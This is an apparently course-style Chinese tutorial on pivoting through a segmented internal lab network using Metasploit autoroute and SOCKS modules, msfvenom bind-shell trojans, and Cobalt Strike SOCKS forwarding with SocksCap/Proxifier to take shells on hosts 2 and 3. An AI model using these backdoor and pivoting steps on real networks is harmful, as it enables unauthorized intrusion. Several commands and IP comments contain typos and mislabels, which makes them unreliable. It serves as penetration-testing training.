一文搞懂代理软件 + 内网穿透

# 渗透环境

1
2
3
4
5
6
7
8
9
10
11
12
内网4台机器 1台Win7出网且通过 exe 方式取得权限,课程不讲述如何得到的权限这属于横向移动,假设已经获得权限了

1(win7)--->2(无)--->3(无)--->4(无) 按顺序排序而下,不能直接从主机1通讯到主机4,存在网络隔离

---------------------------------------------------------------------------------
本地攻击机kali取得主机1权限但是无法通讯到主机2因为不出网; ping 主机1都无法 ping 通
外网是不能ping内网的机器的IP的 (不在同一个网段)

---------------------------------------------------------------------------------

代理协议使用 Socks 4/5

# 多层代理

在这种情况下如果是直接将 ** kali 工具传输到已经拿下的主机 1** 上的话是不行的,内网存在监控设备的话或者杀软流量过大会直接阵亡,安装软件都不被允许;所有需要建立多层代理,在攻击机基础上攻击机 — 沦陷主机 1— 沦陷主机 2 攻击机才是我们的家,没有代理进行通信的话是没有办法进行后续渗透有通信 (网络) 才能拿权限


建立节点是在攻击机上开启一个口子, win7 连接到了这个口子,并且这个 win7 可以对主机 2 通讯因为二者在同一个网段,所以攻击机又可以跳板到主机 2 通讯

# MSF 代理上线 SocksCap

# 0X01 建立节点路由

MSF 通讯是通过在 win7 主机 1 上添加节点和路由,将它作为跳板机,使攻击机可以攻击到主机 2, 解决后渗透问题,有了通讯渗透才能继续,添加路由后,我们的 MSF 就能和在 win7 上添加的路由网段进行通讯 (不在同一个网段)

MSF 需要建立节点 CS 不需要

1
2
3
4
5
6
7
8
9
10
11
12
1. 命令添加路由
msf6> run post/multi/manage/autoroute // 添加路由 msf添加新的网段通信到主机2
route add 0.0.0.0 0.0.0.0 1
run autoroute -p // 查看路由
但是这个路由只是msf工具可以使用,但的工具还是没有通讯的,所以再次建立一个路由

2. 设置代理模块socks 节点
search socks // 搜索模块
use 0 // 使用第0个模块
set srvhost 0.0.0.0
set srvport 1115
run

# 0X02 Socks 代理软件连接

代理软件

1
2
windows: SocksCap Proxifier(中文版)代理IP输入后进行检查,进行修改为正确的不然会检查不对

MSF 生成的节点给了主机 1, 安装一个 socks 代理软件在攻击机内,工具连接主机 1 设置的节点 IP + 端口

  • 攻击机安装 socks 软件连接主机 1 设置的节点
  • 代理软件自带网页浏览器,通过浏览器去访问主机 2 IP 地址可以访问到,主机 1 成为了跳板,使攻击机通讯代理的浏览器访问到了主机 2, 多层代理也就是逐层跳板
  • 主机 2 环境可以从外面访问到,但不能从里面访问外,只能通过主机 1 访问

# 0X03 正向连接上线 shell

生成绑定本机的木马,放置到主机 2 执行,主机 2 成功正向连接,利用正向木马让已经被控制的主机 1 主动去找主机 2, 已经互相通信所以可以直接拿到主机 2 权限,正向木马放在主机 2, 主机 2 运行了,然后主机 1 接收一下

1
2
3
4
5
6
7
msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=3333 -f exe> saber.exe
use explolt/mult/mu

set payload windows/meterpreter/bind_tcp
set lhost 192.168.11.129 // 主机2地址
set lport 3333
run

# 0X04 主机 2 跳板主机 3 通讯

msf 设置路由规则

1
2
3
4
5
6
7
8
9
10
11
run autoroute -p // 用于在渗透测试过程中自动设置路由规则
run post/multi/manage/autoroute // 添加路由,课程中没有设置IP但是添加的网段是22的

设置节点

use auxiliary/server/socks_proxy

set srvposrt 2233 // 设置端口

run

SocksCap 代理软件访问主机 3

# 0X05 主机 3 通讯后上线

msf 通过 3333 端口已经生成后门,由主机 3 执行后门

1
2
3
4
set payload  windows/meterpreter/bind_tcp
set lhost 192.168.22.131 // 主机2地址
set lport 3333
run // 执行监听

# CS 代理上线 Proxifier

# 0X01 后门 exe 监听获取主机 1

CS 节点是不需要的,第一步生成后门,而后开启监听器,权限怎么拿到先不说,这里只讲渗透的思路,权限在横向移动,模拟受害者点击木马而后上线的过程,从一台主机上建立连接跳板攻击主机 2

生成后门前需要开启监听器,选择 IP 4444 为服务器,也就是 Kali 地址,跟 MSF 一样设置监听为本机,因为要本机的进行接收,设置好后再可以生成木马

生成木马需要放置到 ** 主机 1**** ** 首先上线主机 1

主机 1 已上线

# 0X02 Socks 代理开启端口转发

上线后右键代理转发 Socks 开放一个随机的端口,相当于在 CS 中建立了对于端口数字的节点

下载 Proxifier(中文版) 进行连接,记得检查,输入的 IP 为主机 2, 设置好规则后,攻击机 Kali 可以访问主机 2 地址

1
2
3
4
代理规则设: 

应用程序: any
目标主机: 主机 2 IP地址 (不做选择可能会干扰电脑)

# 0X03 正向连接上线 shell

CS 上线主机 1 后开启代理端口配合软件确实是可以从攻击机访问主机 2, 但是我们需要木马上线,再次生成后门给到主机 2 进行模拟点击,但是并没有上线,需要在上线的主机 1 开启正向连接,生成后是需要点击的不然无法正向连接上线,正向连接需要输入命令

1
2
3
4
5
6
7
1. 选择上线 主机1 右键会话交互

2. connet 192.168.111.129 2222,主机2的ip加端口,就可以成功的连接 129的主机2地址

3. 主机1主动去连接主机2----正向连接


  • 攻击机生成后门数据给到攻击机的 2222 端口, 主机 2 被我们通过代理技术所连接通过 2222 访问
  • 主机 2 不能给出网络上线不了,因为主机 1 被控制, 主机 1= 攻击机
  • CS 采用会话交互,攻击机 = 主机 1 主动去连接主机 2
  • 成功上线

# 0X04 主机 2 跳板主机 3

CS 中主机 1 已经和主机 2 建立正向连接,并且有了权限,我们只需要套娃在主机 2 的基础上通过代理转发继续上线主机 3

1
主机2代理转发--->Socks代理--->888端口

代理软件设置代理服务器,地址就是本地 IP 端口和上文代理转发设置一致,检查处设置 IP 地址为主机 3

添加代理规则,目标为主机 3 IP , 访问这个地址的时候就会开启代理

浏览器访问主机 3 可以连接到,通讯建立完成,现在只是通讯了并没有主机 3 的权限,没有 shell

# 0X05 主机 3 通讯后上线

CS 创建新的监听器设置对应的监听端口,生成后门文件,给予倒监听器 3331

木马通过主机 2 建立的通讯,传输到主机 3 , 模拟主机 3 点击,回到 CS, 在上线的主机 2 中,选择会话交互,弹出窗口输入命令,操作和主机 1 连接主机 2 一致,让已经有 shell 的机器主动去连接暂时还没有 shell 机器

1
2
3
4
5
1. 选择上线主机2右键会话交互

2. connet 192.168.22.131 3331,主机2的ip加端口,就可以成功的连接 131的主机2地址

3. 主机2主动去连接主机3----正向连接

![](代理软件技术 - CS-MSF 代理跳板 /image_YJ0K6kTFzE.png)

输入命令后成功上线主机 3, 并且是链子的格式,我猜测的意思是因为一台主机去正向连接另一台主机所导致